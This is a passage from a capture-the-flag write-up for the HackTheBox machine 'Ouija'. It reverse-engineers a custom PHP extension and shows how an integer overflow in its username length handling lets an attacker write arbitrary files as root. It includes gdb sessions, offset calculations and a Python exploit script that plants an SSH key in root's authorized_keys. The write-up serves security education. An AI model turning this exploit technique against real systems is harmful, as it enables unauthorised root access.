leila 1223163 0.0 0.0 10068 1600 pts/0 R+ 21:55 0:

That’s because /proc is mounted as hidepid=invisible .

Network Listeners

There are a bunch of listening ports:

leila@ouija:~$ netstat -tnlp


Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address
tcp 0 0 0.0.0.0:22 0.0.0.0:*
tcp 0 0 127.0.0.53:53 0.0.0.0:*
tcp 0 0 127.0.0.1:45241 0.0.0.0:*
tcp 0 0 172.17.0.1:3002 0.0.0.0:*
tcp 0 0 127.0.0.1:9999 0.0.0.0:*
tcp 0 0 172.17.0.1:6007 0.0.0.0:*
tcp 0 0 172.17.0.1:6006 0.0.0.0:*
tcp 0 0 172.17.0.1:6005 0.0.0.0:*
tcp 0 0 172.17.0.1:6004 0.0.0.0:*
tcp 0 0 172.17.0.1:6003 0.0.0.0:*
tcp 0 0 172.17.0.1:6002 0.0.0.0:*
tcp 0 0 172.17.0.1:6001 0.0.0.0:*
tcp 0 0 172.17.0.1:6000 0.0.0.0:*
tcp 0 0 172.17.0.1:6015 0.0.0.0:*
tcp 0 0 172.17.0.1:6014 0.0.0.0:*
tcp 0 0 172.17.0.1:6013 0.0.0.0:*
tcp 0 0 172.17.0.1:6012 0.0.0.0:*
tcp 0 0 172.17.0.1:6011 0.0.0.0:*
tcp 0 0 172.17.0.1:6010 0.0.0.0:*
tcp 0 0 172.17.0.1:6009 0.0.0.0:*
tcp 0 0 172.17.0.1:6008 0.0.0.0:*
tcp 0 0 127.0.0.1:8080 0.0.0.0:*
tcp6 0 0 :::22 :::*
tcp6 0 0 :::3000 :::*

All of the 172.17.0.1 listeners are different instances of HA Proxy. When


there’s a smuggling attack, HTB likes to load balance users between
containers to keep users from stepping on each other in shared labs.

22 is SSH and 3000 is the API. 3002 is Gitea.

It’s not clear what 45241 is. 9999 is interesting.

Internal Website
Service

I’ll find the service with grep in the /etc/systemd folder:

leila@ouija:/etc/systemd$ grep -r 9999


system/start__pph.service:ExecStart=/usr/bin/php -S 127.0.0.1:99

The full service is:

[Unit]
Description=VERTICA

[Service]
User=root
WorkingDirectory=/development/server-management_system_id_0
ExecStart=/usr/bin/php -S 127.0.0.1:9999
Restart=always

[Install]
WantedBy=multi-user.target

It’s running as root, which makes it an interesting target for sure.

/development
The /development folder also stands out as an interesting non-standard
directory in the filesystem root:

leila@ouija:/development$ ls
gov-management_system_id_386 gym-management_system_id_385 scho

Most of the folders aren’t interesting. utils has a debug.php file that’s
used by the running service:

<?php
function init_debug(){
system("rm .debug 2>/dev/null");
mkdir(".debug");
copy("/proc/self/maps", ".debug/maps");
$F = fopen(".debug/i", "w") or die('error in op
fwrite($F, "1");
fclose($F);
}
function dprint($m,$va){
if(info__index__wellcom::$__DEBUG){
//
}
}
?>

This is a super weird file, creating copies of /proc files and writing “1” to
another. They are both present:

leila@ouija:/development/server-management_system_id_0$ ls .debu
i maps

Website

I’ll use SSH to forward 9999 on my box to 9999 on localhost and load the
page in Firefox:

It’s just a simple login form. Submitting bad creds just loads an empty page,
thought it’s trying to show an alert about bad creds.

PHP Source

The server-management_system_id_0 folder has the source for this page:


leila@ouija:/development/server-management_system_id_0$ ls
core img index.php main.js README.md style.css

The login portion of the PHP code looks like:

<?php
if(isset($_POST['username']) && isset($_POST['password'
// system("echo ".$_POST['username']." > /tmp/LOG")
if(say_lverifier($_POST['username'], $_POST['pa
session_start();
$_SESSION['username'] = $_POST['usernam
$_SESSION['IS_USER_'] = "yes";
$_SESSION['__HASH__'] = md5($_POST['use
header('Location: /core/index.php');
}else{
echo "<script>alert('invalid credential
}
}
?>

Identify Shared Object

It’s passing the input username and password to a function called


say_lverifier . Interestingly, that function isn’t defined in any PHP code
here, but it is a shared object loaded into the processed memory:

leila@ouija:/development/server-management_system_id_0$ grep -r
./.debug/maps:7f803eac7000-7f803eac8000 r--p 00000000 fd:00 3098
./.debug/maps:7f803eac8000-7f803eac9000 r-xp 00001000 fd:00 3098
./.debug/maps:7f803eac9000-7f803eaca000 r--p 00002000 fd:00 3098
./.debug/maps:7f803eaca000-7f803eacb000 r--p 00002000 fd:00 3098
./.debug/maps:7f803eacb000-7f803eacc000 rw-p 00003000 fd:00 3098
./index.php: if(say_lverifier($_POST['username'], $_P

This file is loaded in /etc/php/8.2/apache2/php.ini and


/etc/php/8.2/cli/php.ini (I think the second one is what matters when
PHP is launched the way it is here, and the first actually contains a typo,
misspelling “extention”):

leila@ouija:/etc/php/8.2$ grep -r lverifier .


./apache2/php.ini:extention=lverifier.so
./cli/php.ini:extension=lverifier.so
That file is located at /usr/lib/php/20220829/lverifier.so :

leila@ouija:/$ find . -name lverifier.so 2>/dev/null


./usr/lib/php/20220829/lverifier.so

I’ll copy this back to evaluate:

oxdf@hacky$ scp -i ~/keys/ouija-leila [email protected]:/usr/lib/p


lverifier.so 100% 42

Set Up Debugging
PHP Console

To interact with this plugin, I’ll want to load it into a local PHP shell using
the dl function. But dl won’t work by default:

php > dl('lverifier');


PHP Warning: dl(): Dynamically loaded extensions aren't enabled

In /etc/php/8.1/cli/php.ini , I’ll change this line from Off to On :

enable_dl = On

Now it does, and it takes a module name:

php > dl('./lverifier');


PHP Warning: dl(): Temporary module name should contain only fi
php > dl('./lverifier.so');
PHP Warning: dl(): Temporary module name should contain only fi
php > dl('lverifier');
PHP Warning: dl(): Unable to load dynamic library 'lverifier' (
not open shared object file: No such file or directory), /usr/li
shared object file: No such file or directory)) in php shell co

From the errors, it’s trying lverifier and lverifier.so in


/usr/lib/php/20210902 . I’ll copy it there and make it executable:

oxdf@hacky$ sudo cp lverifier.so /usr/lib/php/20210902/


oxdf@hacky$ sudo chmod 777 /usr/lib/php/20210902/lverifier.so
Next it returns a different error:

php > dl('lverifier');


PHP Warning: dl(): lverifier: Unable to initialize module
Module compiled with module API=20220829
PHP compiled with module API=20210902
These options need to match
in php shell code on line 1

This gist shows that I’m running PHP 8.1, but it wants PHP 8.2. I’ll follow the
instructions here to upgrade. If I run 8.2 and try again, I’ll be right back at
the start, needing to enable dl in /etc/php/8.2/cli.php.in , copy the
.so file into /usr/lib/php/20220809 and make it executable:

oxdf@hacky$ sudo vim /etc/php/8.2/cli/php.ini


oxdf@hacky$ sudo cp lverifier.so /usr/lib/php/20220829/
oxdf@hacky$ sudo chmod 777 /usr/lib/php/20220829/lverifier.so

Now it loads!

php > dl('lverifier');


php >

And I can run say_lverifier :

php > say_lverifier("0xdf", "password");


error in reading shadow file

It’s interesting that it’s asking for the shadow file. If I run as root:

php > echo say_lverifier("0xdf", "password"); // non-existing


php > echo say_lverifier("oxdf", "password"); // user exists,
php > echo say_lverifier("oxdf", "**************"); // correct
1

It seems to be validating passwords based on /etc/shadow .

GDB

To debug this code, I’ll use gdb with Peda. To start, I’ll run:
oxdf@hacky$ sudo gdb -q --args php -a
Reading symbols from php...
(No debugging symbols found in php)
gdb-peda$

Now I want to load the module. I’ll use r to run, and then interact with
PHP:

gdb-peda$ r
Starting program: /usr/bin/php -a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread
Interactive shell

php > dl('lverifier');


php >

At this point I’ll Ctrl-c to break back to gdb , and entry the breakpoint (I’ll
show where that function name comes from shortly):

gdb-peda$ b validating_userinput
Breakpoint 1 at 0x7ffff351c850: file /home/kali/Desktop/programm

c will continue running from gdb , and then I’ll enter


say_lverifier("0xdf","password"); and it hits the break point.

It’s also worth noting that the author left some of the source symbols in the
binary, which is why it shows the full path to the login.c file from the
author’s computer when I put in the breakpoint. If I run info functions ,
there’s a ton of output, including the functions listed per source file:

File /home/kali/Desktop/programming/CHALLS/hackthebox-MACHINE-DE
8: void __abort(char *);
12: void d(char *);
24: int event_recorder(char *, char *);
14: int get_clean_size(char *);
90: int get_the_salt(char *, char *, char *);
56: int get_user_and_pwd(char *, int, char *, char *);
80: int load_users(char *, char *);
20: void update(char *, char *);
160: int validating_userinput(char *, char *);
114: int verify_login(char *, char *, const char *, int, char

lverifier.so
Entry

I’ll open this binary in Ghidra.

There’s a ton of good information on how to create a PHP module in this


post on PHP Internals Book. To create a function that can be called in PHP
from a function in C, the PHP_FUNCTION macro is called with the C function
which expands to a C symbol beginning with zif_ . When looking at the
functions, zip_say_lverifier is one:

I’ll start there. The structure of this function should look like the example
here:

static double php_fahrenheit_to_celsius(double f)


{
return ((double)5/9) * (double)(f - 32);
}

PHP_FUNCTION(fahrenheit_to_celsius)
{
double f;

if (zend_parse_parameters(ZEND_NUM_ARGS(), "d", &f) == FAIL


return;
}

RETURN_DOUBLE(php_fahrenheit_to_celsius(f));
}

The macro expands to:

void zif_fahrenheit_to_celsius(zend_execute_data *execute_data,


{
/* code to go here */
}

Looking at zif_lverifier , it has the same structure:

void zif_say_lverifier(zend_execute_data *execute_data, zval *r


{
int iVar1;
undefined8 username;
undefined len_username [8];
undefined8 password;
undefined len_password [8];

zend_parse_parameters
(*(undefined4 *)(execute_data + 0x2c),&ss,&username
;
iVar1 = validating_userinput(username,password);
*(uint *)(return_value + 8) = (iVar1 == 1) + 2;
return;
}

It uses zend_parse_parameters to get username and password (and


their lengths), and those strings are passed into validating_userinput .

validating_userinput - username Length calculations

This function is the important one to understand. At the start, it defines a


couple of strings on the stack:

(1) and (2) are the strings /var/log/lverifier.log and


session=l:user=root:version=beta:type=testing . Also in here it’s
messing with the username length, first calculating it at (3), and then
getting a modified version of it at (4).

Looking more closely at four, it is worth looking more closely at the


assembly ( disassemble validating_userinput in gdb ):

1. Gets the length of the input username.


2. Adds 10 (0xa).
3. Moves ax to rax . This effectively takes this length mod 65535 (this
will be important later).
4. Adds 15.
5. AND 0xfffffffffffffff0 , when combined with 4 it effectively
rounds up to the nearest multiple of 16.
6. Creates space on the stack of the size just calculated.
7. Zeros EAX.

The value saved here (I’ve named short_username_len ) is then again used
at the end of the function:

Effectively, this is the result of creating a variable in C with a length defined


by something else. If the stack looks like this:

_______________
| new_buffer |
|_______________|
| log_path |
|_______________|
| log_data |
|_______________|
| ... |
|_______________|
| username_copy |
|_______________|

The size of new_buffer is created dynamically, calculated from the length


of the input username .

validating_userinput - Copying #1

The next block is also confusing, but playing with it in gdb shows it’s not
too complex:

If the username is greater than 800 long (based on the strlen response,
not the calculation), then it effectively does a memcpy to get 800 bytes at
(1), storing it into a buffer on the stack I’m calling username_copy . In
assembly it looks like:

0x00007ffff351c930 <+224>: mov ecx,0x64


0x00007ffff351c935 <+229>: mov rdi,rax
0x00007ffff351c938 <+232>: mov rsi,r12
0x00007ffff351c93b <+235>: rep movs QWORD PTR es:[rdi],QWOR

Otherwise, at (2) it does a complicated copy until it reaches a null byte,


again into username_copy . The string copy path is actually coded poorly
and breaks the log data and log file variables that were set above on the
stack.

validating_userinput - Copying #2

Then there’s another block copy:

Here it’s using the short_username_len calculated above to get the


location of the dynamically sized buffer relative to log_path (because the
start of the dynamic buffer is that many bytes less than the starting address
of log_path , and short_username_len is negative). This ends in a for
loop which is much simpler in the assembly:

0x00007ffff351c982 <+306>: rep movs QWORD PTR es:[rdi],QWOR

This time it copies 800 bytes (fixed size) from the username_copy buffer to
the dynamically sized buffer. This is where it breaks if the username was less
than 800. If the username was 15 long, then it copied 15 into that buffer,
leaving 785 bytes of junk. Now we copy 800 bytes into a 15 byte buffer,
overflowing the junk into other variables log_data and log_path
(preview of what’s to come).

validating_userinput - Calls

Now that it’s prepped all this data by weirdly copying it around, it uses it to
make three function calls:

It prints the log_data and log_path , it passes the same data to


event_recorder , and then it calls load_users on the dynamic buffer and
the password.

I believe lines 154, 156, and 158 are just misinterpretations by Ghidra when
decompiling.

event_recorder

This function has a bunch of Ghidra cruft, but it seems to be very simple:

If both log_path and log_data are strings of length one or greater,


open the log and write the data.
In the case where only one is defined, there’s a default filename of
/var/log/lverifier.log , or default data of
“session=1:user=root:version=beta:type=testing”.

It also uses a weird length calculation for how much to write,


get_clean_size , which reads bytes up until a newline ( \n ) or a EOF
(0xff):

long get_clean_size(char *param_1)

{
long len;
long i;
char *ptr;

if ((*param_1 != '\n') && (i = 1, *param_1 != -1)) {


do {
ptr = param_1 + i;
len = i;
i = i + 1;
if (*ptr == '\n') {
return len;
}
} while (*ptr != -1);
return len;
}
return 0;
}

Arbitrary Write
Strategy

I’ve noted that the username will be copied into an 800 byte buffer, and
then that entire buffer will be copied into another buffer that’s the size of
the username input, overflowing the log file path and data if the username
is less than 800 bytes. That on its own is not enough to edit these, as any
data I enter is counted in the length and thus ends up in the dynamic
buffer, and only junk after overwrites.

There’s an integer overflow in the calculation of the length for the size of
the dynamic buffer, as the variable used to calculate the size is a 16bit short.
So if I submit a name longer than 65535 bytes, the calculated size of the
dynamic buffer will be small, but it will still copy 800 bytes in, all of which I
control.

I can abuse this to get arbitrary write by carefully writing a newline


terminated filename and data to where those are stored.

Integer Overflow POC

I’ll start by showing the non-overflow case. I’ll put a breakpoint at


validating_userinput+111 , and run with a reasonable username and
password:

php > say_lverifier("username", "password123");

When it hits that breakpoint, RAX holds the value calculated as 10 plus the
length rounded up to a multiple of 16. So I’d expect 8 + 10 –> 32 (0x20),
which matches:

[----------------------------------registers--------------------
RAX: 0x20 (' ')
RBX: 0x7ffff5269400 ("password123")
RCX: 0x51 ('Q')
RDX: 0x8
RSI: 0x676f6c2e7265 ('er.log')
RDI: 0x7fffffffc5f0 --> 0xd68 ('h\r')
RBP: 0x7fffffffcbc0 --> 0x2
RSP: 0x7fffffffc550 ("/var/log/lverifi\202\t")
RIP: 0x7ffff351c8bf (<validating_userinput+111>: sub r
R8 : 0x7fffffffcbe8 --> 0xb ('\x0b')
R9 : 0x0
R10: 0x2
R11: 0x1
R12: 0x7ffff52693d8 ("username")
R13: 0x7fffffffcd10 --> 0x3e003e0000000000 ('')
R14: 0x7ffff5212020 --> 0x7ffff5281060 --> 0x5555558bcf33 (<exec
R15: 0x7ffff5281060 --> 0x5555558bcf33 (<execute_ex+14339>:
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT dire
[-------------------------------------code----------------------
0x7ffff351c8ad <validating_userinput+93>: movaps XMMWORD P
0x7ffff351c8b4 <validating_userinput+100>: and rax,0xfff
0x7ffff351c8b8 <validating_userinput+104>: movaps XMMWORD P
=> 0x7ffff351c8bf <validating_userinput+111>: sub rsp,rax
0x7ffff351c8c2 <validating_userinput+114>: xor eax,eax
0x7ffff351c8c4 <validating_userinput+116>: movaps XMMWORD P
0x7ffff351c8cb <validating_userinput+123>: rep stos QWORD P
0x7ffff351c8ce <validating_userinput+126>: mov r13,rsp
[------------------------------------stack----------------------
0000| 0x7fffffffc550 ("/var/log/lverifi\202\t")
0008| 0x7fffffffc558 ("/lverifi\202\t")
0016| 0x7fffffffc560 --> 0x982
0024| 0x7fffffffc568 --> 0x0
0032| 0x7fffffffc570 --> 0x0
0040| 0x7fffffffc578 --> 0x0
0048| 0x7fffffffc580 --> 0x0
0056| 0x7fffffffc588 --> 0x0
[---------------------------------------------------------------
Legend: code, data, rodata, value

I’ll run again, this time with 65535 “A” characters:

php > say_lverifier(str_repeat("A", 65535), "password123");

I would expect to get 65535 + 10 rounded up to 0x10010. But the value is


only 0x10:
[----------------------------------registers--------------------
RAX: 0x10
RBX: 0x7ffff5269400 ("password123")
RCX: 0x51 ('Q')
RDX: 0xffff
RSI: 0x676f6c2e7265 ('er.log')
RDI: 0x7fffffffc5f0 --> 0x100000001
RBP: 0x7fffffffcbc0 --> 0x0
RSP: 0x7fffffffc550 ("/var/log/lverifi\202\t")
RIP: 0x7ffff351c8bf (<validating_userinput+111>: sub r
R8 : 0x7fffffffcbe8 --> 0xb ('\x0b')
R9 : 0x0
R10: 0x2
R11: 0x1
R12: 0x7ffff52a0018 ('A' <repeats 200 times>...)
R13: 0x7fffffffcd10 --> 0x3e003e0000000000 ('')
R14: 0x7ffff5212020 --> 0x7ffff52820e0 --> 0x5555558bcf33 (<exec
R15: 0x7ffff52820e0 --> 0x5555558bcf33 (<execute_ex+14339>:
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT dire
[-------------------------------------code----------------------
0x7ffff351c8ad <validating_userinput+93>: movaps XMMWORD P
0x7ffff351c8b4 <validating_userinput+100>: and rax,0xfff
0x7ffff351c8b8 <validating_userinput+104>: movaps XMMWORD P
=> 0x7ffff351c8bf <validating_userinput+111>: sub rsp,rax
0x7ffff351c8c2 <validating_userinput+114>: xor eax,eax
0x7ffff351c8c4 <validating_userinput+116>: movaps XMMWORD P
0x7ffff351c8cb <validating_userinput+123>: rep stos QWORD P
0x7ffff351c8ce <validating_userinput+126>: mov r13,rsp
[------------------------------------stack----------------------
0000| 0x7fffffffc550 ("/var/log/lverifi\202\t")
0008| 0x7fffffffc558 ("/lverifi\202\t")
0016| 0x7fffffffc560 --> 0x982
0024| 0x7fffffffc568 --> 0x0
0032| 0x7fffffffc570 --> 0x0
0040| 0x7fffffffc578 --> 0x0
0048| 0x7fffffffc580 --> 0x0
0056| 0x7fffffffc588 --> 0x0
[---------------------------------------------------------------

The top bit got dropped. I’ll add a breakpoint at


validating_userinput+218 and continue. This is the check for if
username is longer than 800 (jumping if not):

[----------------------------------registers--------------------
RAX: 0x7fffffffc880 --> 0x0
RBX: 0x7ffff5269400 ("password123")
RCX: 0x0
RDX: 0xffff
RSI: 0x676f6c2e7265 ('er.log')
RDI: 0x7fffffffc878 --> 0x0
RBP: 0x7fffffffcbc0 --> 0x0
RSP: 0x7fffffffc540 --> 0x555555dcd0d0 --> 0x555555dcd
RIP: 0x7ffff351c92a (<validating_userinput+218>: jbe 0
R8 : 0x7fffffffcbe8 --> 0xb ('\x0b')
R9 : 0x0
R10: 0x2
R11: 0x1
R12: 0x7ffff52a0018 ('A' <repeats 200 times>...)
R13: 0x7fffffffc540 --> 0x555555dcd0d0 --> 0x555555dcd
R14: 0x7ffff5212020 --> 0x7ffff52820e0 --> 0x5555558bcf33 (<exec
R15: 0x7ffff52820e0 --> 0x5555558bcf33 (<execute_ex+14339>:
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT dire
[-------------------------------------code----------------------
0x7ffff351c916 <validating_userinput+198>: mov DWORD PTR
0x7ffff351c91c <validating_userinput+204>: movaps XMMWORD P
0x7ffff351c923 <validating_userinput+211>: cmp rdx,0x320
=> 0x7ffff351c92a <validating_userinput+218>: jbe 0x7ffff35
0x7ffff351c930 <validating_userinput+224>: mov ecx,0x64
0x7ffff351c935 <validating_userinput+229>: mov rdi,rax
0x7ffff351c938 <validating_userinput+232>: mov rsi,r12
0x7ffff351c93b <validating_userinput+235>: rep movs QWORD P
JU
[------------------------------------stack----------------------
0000| 0x7fffffffc540 --> 0x555555dcd0d0 --> 0x555555dcd
0008| 0x7fffffffc548 --> 0x7ffff351c86d (<validating_userinput+2
0016| 0x7fffffffc550 ("/var/log/lverifier.log")
0024| 0x7fffffffc558 ("/lverifier.log")
0032| 0x7fffffffc560 --> 0x676f6c2e7265 ('er.log')
0040| 0x7fffffffc568 --> 0x0
0048| 0x7fffffffc570 --> 0x0
0056| 0x7fffffffc578 --> 0x0
[---------------------------------------------------------------

“JUMP is NOT taken”. RDX what is compared to 0x320, and it’s 0xFFFF.

Calculating Offsets

Rather than do math, I’ll use a pattern to find out how to overwrite the
values passed to event_recorder using pattern_create :
oxdf@hacky$ pattern_create -l 65535 > pattern

I’ll read the pattern from PHP and send it as the username:

php > $pattern = file_get_contents('pattern');


php > say_lverifier($pattern, "doesnotmatter");

I’ll break at validating_userinput+332 and check the values passed in:

[----------------------------------registers--------------------
RAX: 0x0
RBX: 0x7ffff5269388 ("doesnotmatter")
RCX: 0x7ffff76c2a00 --> 0x0
RDX: 0x0
RSI: 0x7fffffffc5c0 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af
RDI: 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A
RBP: 0x7fffffffcbc0 --> 0x2
RSP: 0x7fffffffc540 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
RIP: 0x7ffff351c99c (<validating_userinput+332>: call 0
R8 : 0x7fffffffcbe8 --> 0xd ('\r')
R9 : 0x0
R10: 0x7ffff351d04d --> 0x3232303249504100 ('')
R11: 0x1
R12: 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A
R13: 0x7fffffffc540 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
R14: 0x7fffffffc5c0 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af
R15: 0x7ffff5281060 --> 0x5555558bcf33 (<execute_ex+14339>:
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT dire
[-------------------------------------code----------------------
0x7ffff351c991 <validating_userinput+321>: call 0x7ffff35
0x7ffff351c996 <validating_userinput+326>: mov rsi,r14
0x7ffff351c999 <validating_userinput+329>: mov rdi,r12
=> 0x7ffff351c99c <validating_userinput+332>: call 0x7ffff35
0x7ffff351c9a1 <validating_userinput+337>: mov rsi,rbx
0x7ffff351c9a4 <validating_userinput+340>: mov rdi,r13
0x7ffff351c9a7 <validating_userinput+343>: call 0x7ffff35
0x7ffff351c9ac <validating_userinput+348>: lea rsp,[rbp-
Guessed arguments:
arg[0]: 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A
arg[1]: 0x7fffffffc5c0 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af
[------------------------------------stack----------------------
0000| 0x7fffffffc540 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab
0008| 0x7fffffffc548 ("2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
0016| 0x7fffffffc550 ("a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8
0024| 0x7fffffffc558 ("Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
0032| 0x7fffffffc560 ("0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3A
0040| 0x7fffffffc568 ("b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6
0048| 0x7fffffffc570 ("Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac
0056| 0x7fffffffc578 ("8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A
[---------------------------------------------------------------

pattern_offset will get the offset from four bytes:

oxdf@hacky$ pattern_offset -q a5Aa


[*] Exact match at offset 16
oxdf@hacky$ pattern_offset -q 2Ae3
[*] Exact match at offset 128

So the offset of 16 is the log file, and the data is at 128.

Script POC

I’ll write a short Python script as a proof of concept. It assumed that I have a
tunnel from 9999 on my host to 9999 on Ouija:

#!/usr/bin/env python3

import requests
import sys

if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} [path to write] [data to write
exit()

path = sys.argv[1]
data = sys.argv[2]

payload = "A"*16
payload += path + "\n"
payload += "B" * (128 - len(payload))
payload += "\n" + data + "\n"
payload += "C" * (65535 - len(payload))

requests.post("http://localhost:9999", data={"username": payloa

I’ll try it writing data to a file I can see:

oxdf@hacky$ python exploit.py /tmp/0xdf "test"


The file exists and is owned by root:

leila@ouija:~$ ls -l /tmp/0xdf
-rw-r--r-- 1 root root 2016 May 16 20:05 /tmp/0xdf

Interestingly, two lines wrote:

leila@ouija:~$ cat /tmp/0xdf

test
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

I’ll try again with my public key:

oxdf@hacky$ python exploit.py /tmp/0xdf "$( cat ~/keys/ed25519_g

It appended that data:

leila@ouija:~$ cat /tmp/0xdf

test
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7I
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Appending is nice so I can target the authorized_keys file and it will add,
not overwrite. It’s important to add the newline before the key or it could
end up on the same line as the previous.

SSH

I’ll run the exploit targeting root’s authorized_keys file:

oxdf@hacky$ python exploit.py /root/.ssh/authorized_keys "$( cat

It works!

oxdf@hacky$ ssh -i ~/keys/ed25519_gen [email protected]


Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_6
...[snip]...
root@ouija:~#

And I can read the root flag:

root@ouija:~# cat root.txt


8fbc8a9c************************

0xdf hacks stuff

0xdf hacks stuff 0xdf_


[email protected] 0xdf
feed
0xdf

@[email protected]

CTF solutions, malware analysis, home lab development

Buy me a coffee

You might also like